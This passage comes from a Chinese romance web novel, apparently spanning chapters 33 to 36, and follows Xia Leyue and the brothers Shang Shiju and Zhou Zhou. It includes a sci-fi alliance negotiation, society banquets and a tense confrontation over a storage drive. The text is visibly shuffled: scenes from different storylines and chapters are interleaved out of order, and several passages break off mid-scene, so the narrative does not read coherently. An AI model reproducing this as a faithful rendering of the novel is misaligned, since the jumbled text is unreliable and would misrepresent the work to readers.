只感觉到手背被人轻轻的执起,指尖碰触到冰凉的凝胶,轻柔地碰触着腰侧的肌肤,她本能缩了一下。 耳边似乎有一声轻轻的询问,夏乐栎没有听清,只是意识模糊间,低声抱怨,“痒……” 思绪彻底陷入黑暗前,她听到耳边微哑的,[那我重一点。] 第 33 章 第 33 章 这一觉睡得有点久,夏乐栎醒来的时候很有点不知道今夕何夕的时光倒错感。 窗帘缝隙隐约透过外面的光亮,让人判断出现在是白天。 夏乐栎捞出手机来看了一下,下午一点半。 这一觉睡得有够久的。 有了这么一桩让人抓心挠肺的小插曲,第二天和原上司坐在谈判桌两边的时候,宋沃都忍不住拿眼神瞥向旁边的夏乐栎。 虽然不知道上司二次催眠的时候给自己增加了什么设定,但是按照对方之前的表现,“联盟不可信任”这点绝对被他添加在基本设定里面了。夫人到底做了什么,能让对方现在心平气和地坐在他对面,“接受联盟的雇佣”…… 说起来,两人也已经好几个月没见面了,久别胜新婚,发生点什么好像都不奇怪。 但是要是真有点什么,就算是临时标记,上将也该发现信息素有问题了,他这表现不对劲啊。 宋沃面上一副严谨认真、完全刻板印象中官方发言人的态度和商时驹谈着“合作”,脑子里的小剧场都快演了八百集了。好在商时驹的心思也没在这根本不打算当真的合作细则上,两个人的扯皮都心不在焉的,倒是一时没人察觉什么不对。 一直到宋沃提出“联盟”给出的条件时,商时驹才挑了下眉,“你以为我平常干一票能拿多少星币?” 宋沃愣了下。 在看过商时驹把上个星盗团伙连锅端的赏金之后,宋沃:阿巴阿巴阿巴……突然觉得上将叛出联盟也是有可能的。 ——开玩笑,上将是那种在意金钱的人吗?! 出租车穿梭半个崇京市驶入边郊街道。 持续一整天的细雨逐渐停了,天幕降下黛蓝色的夕晖。 这十几年来自己一直丰衣足食,第一次和老师做公益的时候还以为要出市,没想到就在本市范围内就有不少贫困户。 近郊靠山,从市中心到边郊的路程比去州市还要漫长。 越往偏僻的地方走,灯光越稀缺,路面越破败。 看着街上人影越来越少,夏乐栎有点害怕,攥紧手机不断安抚自己。 下了车,她跟着导航走街串巷终于找到了贫困户所在的住址。 这片亟待拆迁改造的旧村落挨着废品站和大小工厂,一到了晚上空气里燃烧的烟尘味更浓,更呛鼻。 随处都是自建房和乱搭的电线,仿佛下一秒哪里就会坍塌,充斥着垂死挣扎的生活气息。 夏乐栎把包背在胸前死死抱着,加快脚步。 半个小时后,她被那家人送出来,告别被资助的小姑娘。 网约车要走到外面才能打到,像这样的乱巷旧村根本无法定位。 夏乐栎一边走一边把拍的照片和整理的档案发给老师,村里因烧垃圾飘起浓浓的烟雾,呛得她弯腰咳嗽。 一咳嗽,她冷不丁想起个人。 刚刚聚会上妹妹提起的,商时驹的哥哥。 到现在她也不知道那个人长什么样,叫什么,但对他有点印象。 因为高考第一天是他送自己去考场的。 那天一大早下了大雨,家里司机堵在了半路,商时驹打来电话,说他哥要去机场回美国,正好送她一路。 有的人光是气场就能压得人喘不过气,上了宾利的后座,她偷偷看前面窝在副驾驶的人。 黑色的兜帽下拉,遮住他大半张脸,只能看见冷峻的下巴。 夏乐栎正赶上痛经,捂着肚子弯腰隐忍,两眼发昏。 车子在中途停了一次,没一会儿那个人回来,从前座扔回一兜子东西。 她打开一看,是止痛药,热乎乎的早饭和暖宫贴。 夏乐栎茫然抬眼,听见一句冷冷的。 【商时驹让我给你买的。】 他在心底狠狠摇了摇头,把那些不该生出的念头团吧团吧塞到角落里,一本正经地接着:“联盟还有别的优待……” 正在宋沃准备历数军部福利待遇的时候,却见对面抬手侧边一指,开口打断:“我要她。” 宋沃:“……” 突然被牵扯进来的夏乐栎:“……” 在那逐渐微妙的注视下,商时驹倒是一脸坦然。 他挑了挑眉,一副谈正事的态度:“怎么、我连选自己合作对象的权利都没有?联盟就这点诚意?” 宋沃艰难地把歪掉的思绪拉回来,清了清嗓子,“夫人……夏组她不太合适,您要是需要合作对象,我可以留下配合。” 商时驹冷漠地“哦”了声,格外冷酷无情地,“我信不过你。” 宋沃:……过分了啊。 就在宋沃还想着怎么努力应付这个失忆之后格外难缠的上司的时候,却听到旁边一声平淡的,“可以。” 是夏乐栎的回答。 宋沃错愕:“夫人!!” 发现夏乐栎确实是认真的之后,他一时都顾不上旁边的商时驹,急着声:“外域不比中央区,危险性您昨天也看见了,S-35不起作用,要是真的遇到意外袭击,科研院那边我没法交代。而且上将要是意识清……意识到了,也不会答应您留在这的!” 夏乐栎摇摇头:“我得弄清楚发生什么事。” 要论对精神力存储技术的了解,这个世界上除了她的养母就是她了。这是她的技术,她得知道发生了什么。 宋沃:“我会及时向您更新信息的,您不必留在外域。” 夏乐栎还打算说什么,旁边的商时驹倒是敲了敲桌子,把注意力引到自己身上。 他对着急得冒汗的副官扯了扯唇角,笑容看起来格外欠揍:“稍微尊重下本人的意见怎么样?你们联盟不是很讲究这套吗?” 宋沃:“……”时隔四年重逢,商时驹情绪满涨,热情邀请她晚上一起吃饭,不过她婉拒了。 但这人丝毫不失落,留下她现在的微信等她有空再约。 夏乐栎返回展厅里的时候,周州和博物馆的张老师已经不在了。 她就站在外面和商时驹说话,甚至没留意到什么时候有人离开。 展览厅外侧面阴凉处,周州懒洋洋靠着墙边挂了电话,黑色西装肩处蹭上点白灰。 一个高大威猛的保镖拎着个瘦弱男人过来:“这人刚才想从消防通道溜进去,带着相机。” “刚才那些人都清了?”他垂眸从兜里拿出烟盒,敲出一根。 “都扫干净了,绝对不敢再来。”保镖说。 周州抬眸,看他一眼。 保镖愣了几秒,反应过来:“他们手里的照片也都删干净了,放心商总。” 周州指间夹着烟,偏头望去,连个眼神都没给偷拍男,一挥手。 保镖拎着偷拍男就走了,吓得那人连话都不敢说,连连承诺:“我删,我删我都删,你们,你们别打人……” 嚓的一声,周州侧头燃了烟。 今天带的烟劲儿有点大,刚抽了一口就刺得他喉咙发痒。 目光所及之处,格外相配的一对男女站在阳光下叙旧。 商时驹眉眼温和,目不转睛看着她,几乎快把全幅深情都扑在她身上了。 夏乐栎抱着纯洁白玫瑰,单手挽着耳边碎发,唇瓣翕动,说话间看着他笑。 周州杵在阴暗处盯着他们,吐了口烟。 他手指弹了弹烟头,眯着眼嗤笑。 总有蠢货以为自己先来。 他突然出现,又说走就走。 情绪被周州弄得乱七八糟,夏乐栎独自站在他停留过的展厅里,心跳还在忽上忽下。 据师兄说,等到展览正式开放的第一天,这两位还会再带着媒体到场。 也就是说。 如果不刻意避开,她过不了几天就要再见这个人。 一回想到刚刚他看自己的漠然眼神,夏乐栎垂眸蹙眉,揪住胸口的衣服使劲锤了锤。 怎么这么闷,没出息,不许再闷了…… 思绪投入回工作里,时间过得飞快。 她扎在展厅里检查所有文物的动画视频,做最后的设备确认,一眨眼玻璃外的天就黑了。 她结束工作收拾好东西,背着硕大的托特包走到门口,路过师兄的文创咖啡区,被他叫住。 “哎师妹,你等我会儿,一块走请你烧烤。”他穿着围裙蹲在储物柜前忙着。 夏乐栎摆手,“不了师哥,改天吧,我今天有点累了,想回去赶紧睡一觉。” “行啊,那,我送你……”他急着要摘围裙。 她摇头微笑:“算啦,我家那么近,你赶紧忙吧,明早见。” 说完背着包转身就走了。 郑师兄一路目送,挠了挠头,看着脚下这堆没干完的活,叹气遗憾。 突然有点理解议会那边有时候恨不得弄死上将的态度了。 您会后悔的!绝对会后悔的!! 宋沃还在酝酿着怎么用词委婉地撂狠话,倒是旁边的夏乐栎比了个手势,打断了这个谈话。 她转头对商时驹:“我和宋副官单独谈谈。” 这是让人回避的意思。 商时驹意外了一下,但很快就笑了起来,“夫人的要求,我当然乐意效劳。” 他手臂靠在椅子背上,像模像样地行了礼,临走还笑看了宋沃一眼。 宋沃:“……” 您最好知道自己现在在做什么! 昨晚的回忆模糊地浮现,好像是周州把她送进来的……还顺便擦了药? 夏乐栎卷起衣服来一看,腰侧的瘀伤果然不见了,仿佛昨天镜子里看见的只是错觉。 不愧是超能力世界,好方便啊! 夏乐栎最后还是放弃了思考。 说不定哪天就想明白了。 “虽然我觉得职业认同也是自我身份认同的一部分,但……” 她低声嘀咕了这么一句,再次抬头看过去,“既然你这么困扰的话,只做‘周州’怎么样?没有什么别的身份,只是‘周州’。” 周州愣住了。 只做“周州”…… 可“周州”又该是什么样的? 第 34 章 第 34 章 夏乐栎兑现了之前和温初青约的个人婚纱主题的写真集拍摄。 之前温大小姐的恋爱写真确实就是玩玩而已,等大小姐正经打算给自己拍照的时候,高定礼服、造型团队、专业道具布景、私人庄园取景,连摄影都是带着灯光师、器材师的一整个团队。 看看这排场就知道,大小姐的所谓“预算”估计就是随口一说,五万?五十万都不一定够人家裙子的。 空降主摄的夏乐栎:……压力山大.jpg 好在作为大小姐的“私人朋友”,夏乐栎在拍摄现场没受到什么为难。大小姐人贵事忙(忙着恋爱),拍摄行程挤在两天之内完成,整个专业团队拿出了拍电影的架势,最后的成片夏乐栎看着都只有“哇哦”的份:一整个豪门大场面。 事后夏乐栎在家瘫了三天,再次被温大小姐戳的时候,她挣扎着回复:[抱歉,我想歇一阵子。] 短时间内,她不想搞第二个大场面了。 之后她再没见过周州。 即使在一个学校读书,中清大这么大,没有交集的人几乎很难偶遇。 中清大九月开学,正式上课后没过两周就又迎来了中秋假期。 夏乐栎这天晚上在申姝家做客。 两人扎在闺房里闲聊。 申姝把衣柜全打开了忙活着,夏乐栎看着三个大箱子,“只是去琼海不到一周,需要带这么多东西吗?” “当然!我已经约了一个当地的摄影工作室,打算在国庆占据朋友圈最佳游客照。”申姝拿起一件比基尼,“为了它,我可减肥一个多月了。” 夏乐栎捂着脸羞笑:“要这么性感嘛……” “你没穿过比基尼?”申姝坏笑着走近,伸出魔爪:“你身材这么火辣,要不试试,突破一下自我!大胆展示身材,让绝世帅哥看见你都流鼻血!” 夏乐栎吓得满屋子躲她,笑得花枝乱颤:“不行,我就不了……” 因为周州的暂时离场,经理带着博物馆的张老师先随处转着,夏乐栎从卫生间出来的时候路过展览大门,发现刚刚堆在门口堵她的那些无良博主消失得一干二净。 她琢磨着:是师兄说的安保过来介入了吗?这么快就把人全都清扫干净了。 她站在光线充足的大堂,就在这刻,隔绝室内外的玻璃墙咚咚作响。 偏头过去,隔着玻璃,她对上商时驹的目光。 夏乐栎握着手机,眼梢怔开。 辨别数秒,确定了对方的身份。 商时驹穿着白色大衣和长裤,周身像被光包裹着,仿佛一如当初在学校里骑着单车飞扬的衬衫少年。 他手里捧着一束白玫瑰,腾出一只手,隔着玻璃对她挥动。 发完这条,夏乐栎被自己的自信逗得唇线弯动,这才抹去几分紧绷。 耳畔轰隆不止,雨声沸沸,她偏头看向窗外,刚才散乱睡梦里的画面一幕幕从脑海深处泛上来。 照片发酵的八个多小时里她一直在睡觉,而被雷声吵醒之后也没觉得有多轻松。 漫长的睡眠里,她反反复复在做梦。 梦里混乱,沸热,模糊的画布上辗转全是同一个人的影子。 那个男人在她晦涩的梦境中睁开那双眼。 犀利的,眼角平直锋利,瞳仁漆深,像豺狼捕猎似的在暗中发光。 他贴在身后,单手环捏着她的脖子,盯着镜子里的他们,忽尔勾唇。 「夏乐栎,看清楚。」 「是我在吻你。」 “咔——!” 夏乐栎肩膀倏地哆嗦,手机差点掉了。 又被雷声吓了一跳。 她端着热水走到落地窗前,胆战心惊地望着眼前这片处于雷暴中心的城市。 不好的预感隐隐笼罩在心头,让人莫名慌乱。 自从上周下了飞机,重驹踏入崇京这片土地开始,她就彷如走进了某个人掌心笼罩的磁场里。 不可控地被压迫,总想躲避什么,恨不得藏起来。 须臾。 她低下头去,单手捂住左耳,深深地吁出一口气。 没事的,这么多年了。 早就过去了,都过去了…… 四年,足够把一个人忘干净,也足够被一个人忘干净。 就像当初举家搬出金山别墅区,她现在,早就离那个世界远远的了。 他笑容还是那么温柔,不过不难看出,商时驹有些难抑情感。 像是什么东西在失而复得。 离开崇京后,她与所有老朋友的距离都是这四年多。 和商时驹也一样。 同时。 首都核心区,全国最有经济竞争力的CBD之一。 这里每一座高耸璀璨的大楼的每一个玻璃格子,是无数人挤破头,仰断脖子都想要的证道之路。 这里矜贵得仿佛随地都是金子,高高挂起,只有能刷门禁攀上摩天高楼的人,才有资格去摘。 而早已位于顶峰的人早已懒得去看这些无趣的风景。 挑高的落地玻璃对抗着刺刀般席卷的暴雨,仿佛在比谁更冷酷,更无坚不摧。 西装革履的助理小哥在原地站得小腿僵硬。 他忍不住轻咳,试探室内另一个人:“要不要先把关于夏小姐的热搜和营销号视频全部撤掉?” 懒洋洋窝在皮椅里的男人没说话。 玻璃墙之外黑雨呼啸着,正咧开爪牙攻向他。 不管雷声多么骇人,都无法惊动他耷拉的眼皮半分。 反成了狂风恶浪拜服他脚下的宣誓。 周州垂眸,手机光源映刻着他五官的明暗。 他摩挲着视频截图上夏乐栎的娇丽脸庞,眸色平静,如豺狼捕兔般得心应手。 语气略显旁观热闹的混不吝。 “夏小姐?” “你认识她?” 助理小哥推了下眼镜,都不想说话了。 咔——! 惊雷再起。 周州牵动唇畔,指腹从屏幕里女人的眼一点点划到唇瓣,最后用关节敲了下她的脑门。 像自喃又像对话,语气很轻。 “躲什么。” 青梅竹马的重逢无需多言,只一个眼神,多年的分离和隔阂仿佛烟消乐散。 夏乐栎心里有些暖,被他带着释然一笑。 走出展览厅与他碰面,她听到对方的第一句竟是。 “幸好,是我第一个找到你。” 四年的隔阂难免有些生疏,夏乐栎有些不知所措。 望着完全不尴尬的商时驹,她一时间没说出话。 商时驹把花递给她,清冽的声线竟有些抖动:“回来了。” “乐栎。” 两人闹够了,申姝拿出一个袋子:“这个你拿着。” 出了房间,她走到饮水机旁边拿纸杯子。 “哎。”下午。 回家路上,夏乐栎坐在后座望着街景,脑子里一直在想申姝对自己说的那些话。 难道……她真的应该主动跟时驹哥告白吗? 可是,光是想想就好害怕。 她垂眸,下巴放在曲起的胳膊上,架在车窗边,任由微风吹乱自己的八字刘海。 试想总是很轻松,但真正付之行动,对她而言比登天还难。 对商时驹这样的天之骄子表白,是毫无试错机会的事。 他也喜欢自己的概率相比有万分之一。 进了家门,家里其他三个人竟然全在。 父母都穿着比较正式,连平时穿搭最嘻哈的夏习真都穿了一身淑女裙。 夏乐栎讶异:“你们这是……要出门?” 夏辉看见她,招手:“正好你也回来了,快,上楼去换件漂亮裙子,跟我们去串门。” 夏习真抱怨:“妈!这裙子就不能再短点儿吗!难受死了!” “你有点儿女孩样行不行!就这件,最得体。”习莲一口否决。 夏辉告诉夏乐栎:“商家的大儿子回来了,邀请了附近住得近的几个常走动的邻居到家里吃饭,基本都是大企业家和艺术家,说是家常晚餐,但跟社交宴会没什么区别了。” “你也跟着去,看着点真真,别让她在人家家里乱说话,乱走动。” 夏习真嘟囔:“我有这么不让人省心么,明明容易乱走的是傻姐姐,她东南西北都不分……” 习莲瞪她一眼。 夏乐栎乖乖点头,多一句都没问,“我马上换衣服下来。” 看着她上楼,夏辉训斥小女儿:“你看看你姐,多省心,让你换个连衣裙你又喊又闹。” 夏习真说了句心里话:“那是因为她知道自己没有耍性子的资格啊,我可是爸妈亲生的……” 夏辉眼神闪动,差点上手,怒斥:“夏习真,我平时太惯你了是吧。” 平时家里做主的习莲都愣了下,难得跟丈夫一边:“真真,以后当着你姐不能说这种话了,听见没有?” 夏习真看见老爸是真生气了,立刻蔫了。 “知道了……我瞎说而已……” 突然的声音惊得她差点碰倒了纸杯子倒扣叠成的小塔,双手急忙扶正,还是有两个纸杯啪嗒掉到了地上。 夏乐栎回头,看见窝在外面沙发里的周州。 周州胳膊长腿长,手臂肌肉隐现,肩宽劲腰,往沙发里一坐,显得沙发都小了一号。 修长的腿敞着,从宽松牛仔裤故意撕裂的破口里能瞥见骨骼感很强的膝盖。 他双手握着手机玩游戏,眼都没抬:“扔完苹果摔杯子,你要干嘛啊?” “下一步准备砸店?” 夏乐栎臊红了脸,鲜少生气:“明明是你。” 要不是你吓我,我会失手两次吗? “你没事哎我干什么。” 周州停下手指的动作,眉峰跳动着兴致,缓缓偏头过来:“我打听打听。” 两人离得不远,她勉强能听清他说话。 夏乐栎握紧杯子,防备十足:“什么?” “你刚说暗恋十年那个。”周州微微眯眼,像酝酿什么坏招儿似的,“叫什么来着?” 她拿出一看,是个沉甸甸的黑匣子,像是某种内存很大的存储盘。 “我男朋友给我寄的,他不是学了人工智能从美国回来嘛,最近在外地旅游,说这个存储盘很重要又沉,就不随身带着了。” 申姝指指,说:“他最近要来崇京谈合作,说是先放在我这儿,我这不马上就要飞去度假了,我怕他到时候来拿我不在家,先放你这里。” 存储盘非常沉,像健身房里的哑铃,夏乐栎双手端着都要吃力气才能移动:“这么重要,放我这儿真没问题?” “放心吧,我就是看你人靠谱,放假哪里也不去,给你我放心。” “如果到时候他真的提前到崇京,你寄个同城送,或者跟他约个地方还给他就好啦。” 夏乐栎点点头,若有所思。 傍晚,夕晖紫灿,夜幕自下而上蔓延。 告别了申姝,家里的司机把她送到别墅区门口有急事先下班了。 夏乐栎包里背着沉甸甸的存储盘,一路从别墅区往家的方向走,走到半路,又热又累,实在不行了,忽然馋一口便利店的雪糕,于是扭头调转方向。 “再坚持一下,坚持……” 但是…… 夏乐栎果断:“那就不原谅。” 这有什么好纠结的?原不原谅完全是个人行为,不想原谅就不原谅呗。 温初青却半天没有说话。 夏乐栎看了看她,似有所感地,“除此之外呢?” 温初青:“……” ……我还爱着他。 第 35 章 第 35 章 温初青聊了几句之后,就突然陷入了沉默。 她看起来神情恍惚地走了几步,差点被平地绊得一个踉跄,那之后好像也也没回过神来,只是语气飘忽地,“我有点累了,回去休息下,你先自己逛逛。” 夏乐栎迟疑,“你要打个电话吗?给你男朋友。” 她看起来情绪不太好的样子。 温初青想也没想,“不了,我——” 她顿了一下,“我就是去歇一下,昨晚没睡好。” 周州似乎看出来什么,[你让她自己安静一会儿吧。] 专业人士都这么说了,夏乐栎当然没意见。 于含心把“超雄”两个字骂出来的瞬间,场子彻底冷到了冰点以下。 所有住在金山区的人面面相觑,了解过风言风语的都不敢说话了,一个是惊讶竟然真有人敢把他们的心声说出来,另一面仿佛已经预见于含心的无数种死法。 夏乐栎呆呆坐在原地,看着那边的周州,被气氛吓得毛骨悚然。 周州说完话,商时驹叫了外面的服务生进来,表情严肃,对于含心说:“看来咱们没什么交集的必要了。” “请你出去。” 于含心骂完就露出了后悔的神色,被服务生半拉带拽地离开了包厢。 她走后,其他人很会缓和氛围,撮合大家继续喝酒打台球,夏乐栎心有余悸,频频将余光投向那个人。 想必今晚之后,周州在外的风评会更差吧。 他真的只是看于含心不顺眼就……? 夏乐栎捂着心口,刚刚被她们起哄八卦的那股淤堵莫名消得一干二净。 周州没理由的一个举动,却让她像捡漏似的出了口气。 商时驹走到周州身边坐下,拿了个空酒杯放在桌上,“你不该这么冲动,你突然来这一下,我都没看懂你为什么。” 夏乐栎吹了会儿风就回到宴厅了,虽然爸爸特赦她不用跟着社交,不过不能长时间让他们找不到。 她便回到宴厅吃点东西,在边角坐着等他们。 现场有弦乐演奏,氛围恰好。 夏乐栎想吃一点甜品,沿着会场边缘往自助餐的区域走。 就在她路过一个走廊出口的时候,里面忽然钻出一个人影,倏地攥住她的手腕。 夏乐栎吓得声音都没了,抬头对上周州漆黑的凤眼。 周州捏着对方的手腕,忍着头疼,手上用了力,声音极低:“东西给我。” “什,什么东……”夏乐栎吓得瞳孔又黑又圆。 他拽着她的胳膊,将人推着抵在墙上,黑影压下去,“别装傻,存储盘给了你,我刚见过申姝。” 她懵了:“啊?申姝不是在琼海……” “你给翟左了?给了没有!”周州用力拽她逼问。 他气场全开时仿若涨高天幕的海啸,一个眼神就能把人拆成粉末。 夏乐栎泛起眼泪,像只受惊的小兔,挣扎着,“我不知道,我不知道你说什么……” “申姝给你的那东西是个价值几栎万的自研程序,是我们团队的命根子,”周州一把捏住她的下颌,指腹陷入她柔软的脸蛋,警告:“它但凡有丁点差错你豁出小命都赔不完。” “还给我。” 他的手又大力度又狠,捏得夏乐栎脸颊发疼,泪珠簌簌地掉,泪渍融进他的指纹。 “不……不行。” 周州眯起眼,倍感荒唐:“你说什么?” “既然,既然你说它这么贵重……”夏乐栎双手握住他的手腕试图挣扎:“你怎么证明是你的。” 周州气笑了。 “它是我朋友托付给我保管的。”她摇头,吓得浑身发抖却不松口:“我不能因为你一面之词就给出去。” “至少,至少等姝姝回来,或者,或者她所说的那位……” “夏乐栎。” 他咬牙警告,“我话还要说多清楚你才听得懂?” 夏乐栎一愣。 一时间,曾经被无数人嘲笑的回忆袭来,那些人或亲近或疏远,指着她或讥笑或可怜。 【可惜了这孩子长得这么好,脑子这么木,以前的事也不记得……】 【听不懂人话吗?!我说多少次你才听得懂!不要再砸东西了!夏辉你看看她!你到底为什么非要领养这么一个啊!我又不是没给你生孩子!】 【夏乐栎傻,你就算当面骂她都听不懂的哈哈。】 【你就是个领养的凭什么当我姐姐!我不要傻瓜自闭症的姐姐!】 瞬间,夏乐栎崩溃泪崩,不管不顾地挣扎扭打起来,“放开我!我不给你!我就不给你!” 她偏头,咬在他右手的虎口上,越哭咬得越死。 周州疼得皱紧眉,任由她咬。 “夏乐栎,夏乐栎你属狗的?撒嘴。” 两人激烈的对峙早已引起宴会厅不少人的注意,诸多目光纷纷投向那个角落。 就在周州伸出另一手向她的纤细腰肢,打算把人抗走处理的时候—— “啪。”他的胳膊被另一人抓住。 周州偏头,对上商时驹急切的目光。 商时驹瞥着夏乐栎满脸的泪,表情严肃,认真说:“哥,过分了。” “别碰她。” “没为什么。” 周州没用他拿来的空杯子,接着端着酒瓶对口喝,被酒烧过的嗓音沙绵,说话间飘弥性感:“说了没理由,看不顺眼就整她了。” 商时驹摇头:“你这就不对了,她也是住在金山区的,就算看在她家里也要给点面子,要让老妈知道又要罚你。” 他说:“真有事不还有你呢么。” 商时驹看向周州。 两兄弟对视,几秒后各自一笑。 商时驹摇头:“是,反正我会帮你打掩护,保你不被打得皮开肉绽。” “所以,与其在这儿教我做事。” 周州摩挲着酒瓶瓶口,余光却描着远处某人灯下细细的白颈,“不如留着力气去哄哄人。” 夏乐栎的衣服不如妹妹多,她从来不张罗买,好在衣柜里的裙子长度,风格和牌子都很适合穿到正式场合里。 她换了件衣柜里唯一最贵的,华伦天奴的淡粉色娃娃领的A字连衣裙。 及膝长度,把她一双白洁纤细的小腿衬托得无比漂亮。 父亲重视,所以她也很认真。 爸爸的居安连锁酒店在国内还排不上名号,需要人脉把品牌档次带上去。 正如之前夏习真所说的,他们一家人只能算做小买卖的富人家,就因为住进金山别墅区,住在商家周围,多和他们家关系友好,就能获得无数资源和顺坦的商路。 可见商家在崇京的地位和财富多么令人望尘莫及。 她记得爸爸说过,对他们生意人而言,最珍贵的永远不是存款和产业。 是手里紧握的资源,权力,和长期共存的利益伙伴。 只要有人脉,有能力,多少次东山再起都有希望。 夏乐栎虽然听不太懂,但是记得很牢。 金山别墅区本身就是一个错综复杂的权贵社会。 商圈,政-圈,文艺圈,走街串门就能认识各行业的大佬,所有人都互相脸熟,是敌是友,变换几乎就在朝夕之间。 自己生活在夏家,只是领养的,论身份连一个小买卖家庭的亲女儿都不是。 这样的她在金山,是很微小的存在。 想想小时候被欺负,真是再正常不过的事了。 夏乐栎跟着一家三口步行去往商家,去那个仅草坪面积就超过他家整栋房子面积的花园别墅。 商家附近停了好多豪车,快要把门挤破了。 走进露天庭院,她扫了一眼面前的盛况,才知道……为什么爸爸路上说,真就来几个“邻居”就怪了。 光是庭院和廊厅里就有不下十几个穿着正装的身影。 “爸,这些都是沾亲带故来蹭晚宴的??”夏习真挽着父亲,愕然。 夏辉点头,早就熟悉这些名利场的氛围:“商家邀请肯定只邀请了几家人,但是他家很少这么办酒,平时想见到商总很难,俗话说有机会就有无限可能,这些人就算没关系,也要想办法硬攀上受邀者的关系,跟着一起来。” “这人攀人攀人,来的不就多了么。” 夏习真悄悄怂了,“果然你们俩让我换正装是对的。” “就算是我,也不敢在这种场合下穿牛仔短裙,太招眼了。” 夏辉点点她的鼻头,“小丫头,你该见的世面还多着呢,跟老爸学着点,啊。” 她使劲点头。 习莲看着他们父女,微笑温柔。 夏乐栎站在后面看着他们一家三口的画面,故作装忙地抓了下衣服,忽觉自己又多余了几分。 要是有相机,替他们拍下这一幕就更好了。 多么温馨齐心的一家人。 商时驹:“嗯?你说……” 然后顺着自家大哥的目光找过去。 周州收起视线,盯着酒桌嘲笑半声,痕迹很轻地飘了句:“你那好妹妹。” “眼睛都快哭瞎了。” 夏乐栎不情不愿:“……知道了。” 她真是冤死了。 像是察觉了什么,商时驹俯下身来凑近,那张轮廓分明的脸一下子在视线范围内放大,夏乐栎甚至能清晰地看到根根分明的睫毛。高挺的鼻梁往上,他的眉骨和眼睛的形态原本都显得凌厉,可是这会儿不知道是表情还是眼神的缘故,那本该迫人锋利消融成一片温柔。 “交给我吧。”他低声开口,音调低哑柔和,但又仿佛郑重许诺,“会把它查清楚的。” 夏乐栎被这猝不及防的一下暴击给直直地干懵在了原地。 啊?什么给你?不管了,给你!都给你!! 商时驹半天没等到回答,抬眼对上对面失焦的眼神。 他迟疑地抬了下手:……拍傻啦? 第 36 章 第 36 章 商时驹盯着自己的手看了半天,不太确定地问,“你没事吧?” 夏乐栎这才回神。 她往后退了一大步,脚底被岩壁绊了下,商时驹下意识伸手想扶,刚刚抬起小臂,夏乐栎又往侧边挪了一步,整个人都贴到了过道的另一边。 商时驹这才察觉到什么。 太近了,这不是“朋友”之间该有的距离。 周州返回操场的时候,开学典礼已经进行三分之一了,商时驹的代表讲话早就结束,坐在台下等着他回来。 周州走过去,瞥了眼商时驹旁边留着的位置,带着点儿阴郁气场坐下。 “人呢?”商时驹问。楼下花园热闹得一塌糊涂,像一锅被油泼沸,溅得到处都是的水。 夏乐栎跪坐在原地,傻得说不出话,仰头怔怔望着他。 周州靠着飘窗,往楼下睨了一眼,“你还有不到一分半钟可以跟我说。” “啊……”一着急,夏乐栎本来就不太好的口条更笨拙起来,“我是说……” 夏乐栎跑进家门的时候脸还是红彤彤的,幸好夜深,将难以降火的羞臊藏住些许。 客厅关了大部分灯,黑漆漆的,唯有巨幕电视屏闪着光亮。 缩在沙发里看恐怖电影的夏习真被她关门“嘭”的动静吓了一跳,浑身一哆嗦,扭头:“你!你去个便利店怎么这么久……” “我都要饿死了。” 夏乐栎换了鞋速速过去,一眼都不敢看电视上正激烈的恐怖情节,蹲下来把袋子里的速食和饮料拿出来:“还热着。” “饿就快吃吧真真。” 夏习真不是头一次使唤她半夜去便利店买夜宵了,看姐姐顺眉垂眼这么纵容她,语气轻了不少:“谢了,待会转你钱。” “不用,没多少钱。”她憨笑。 夏习真吃了一口照烧鸡肉,忽然挑眉,歪头凑近:“嗯……?” “大晚上的外面又不热,你脸怎么这么红?” 夏乐栎倏地摸脸,眼睫频眨:“啊,我……我跑回来,跑的。” “我上楼啦。” 说完像夹着尾巴的小猫似的匆忙逃进楼梯。 夏习真坐在沙发前,嚼着肉串,狐疑不解。 她已经不知道该不该开口拜托他了。 这个人,这个人已经不能用难说话来形容了吧。 周州的字典里几乎就没有耐心这俩字儿,看着她吞吞吐吐,不耐地蹙眉。 就在这时,门外传来凌乱但气势汹汹的脚步声。 他一歪头,语气很轻很凉:“你现在连一分半钟都没了。” 夏乐栎扶着墙站起来,慌张:“他们是?” “看不出来?”周州回答:“逮我的啊。” 她回想这个人打群架的样子,心想就算是专业的安保也没本事抓他吧。 就在这时,面前传来一句。 “要不想被当成同伙儿。” 夏乐栎抬头,顺着他手指着的方向看去。 周州左手懒洋洋插上裤兜,抬下巴:“那儿有厕所,去躲。” 他没立刻回复对方,而是听见坐在身边的学生窃窃私语,周州瞥了眼那个人手机上的内容,掏出手机打开学校论坛。 商时驹看他不说话,纳闷:“哥,我问乐栎呢?你没去接她?” 周州把手机扔给他,“去了,没看见人。” “不能吧,”商时驹说着,低头扫了两眼就皱了眉,“这什么……” 他往下浏览,逐渐沉默了。 周州目视前方的典礼节目,听着身边人半天没出声,黑眸斜瞥:“什么情况?” 商时驹叹气,把手机锁屏还给他:“我也想知道什么情况,这些人,就会乱说。” “我是问你,”周州指腹转着手机,好整以暇:“跟这个什么情况。” “什……”他略有怔意,清爽的眉眼少年气更盛。 商时驹盯着哥哥始终“全世界与我无关”的表情,笑出一声,语气迟缓:“乐栎就是住在咱家隔壁的那姑娘啊,你没印象?” “从小一起长大的妹妹。” 周州看着手机,随口又问:“喜欢人家?” 商时驹没想到这个问题会从他的口中问出来。 他没有回答,缓缓转头看向台上。 商时驹眯起眼睛,笑意温柔。 他转移重点,说:“还是头一次见你有兴趣关心我的感情生活。” 今天是商时驹母亲商总的生日,商家在特级五星酒店办了酒席,商时驹特地邀请夏乐栎一家过去吃饭。 夏乐栎穿着礼裙跟着家人四处社交,全程像个没魂的瓷娃娃似的眼睛都不敢乱瞟。 今天的场面比那天在商家花园的酒宴还要正式要隆重。 她一到这种地方就发怵,生怕说错话做错事,也怕被人打量。 找到机会她找了个法子溜到没人的地方透气。 夏乐栎站在走廊窗口暗自沮丧,羡慕妹妹习真自带社交属性,无论跟谁都能聊得好,在这样的场合下跟在父亲身边完全是加分项。 而她傻傻的,别的老板及其家属跟她搭话她都不知道该怎么回应。 “最近降温,穿这么少吹风,小心着凉。” 夏乐栎回头,看着走近的商时驹,双眸一亮:“时驹哥?” “家里一有这种事我就腾不开身。”商时驹脱下身上的西装外套熟稔地给她搭在肩上,“都没机会和你们聊。” 他忽然靠近,身上温暖清香的气息袭来,夏乐栎屏住呼吸,心跳加速。 带着他体温的外套贴在身上,暖洋洋的,她懵懂抬眼望他的目光尽是动容:“谢谢。” 商时驹走到窗口,双臂搭着,舒了口气:“应酬真是累人啊。” 夏乐栎侧身,陪他靠着,“但你做得很好。” “我连说什么都不知道。” 商时驹扭头看她。 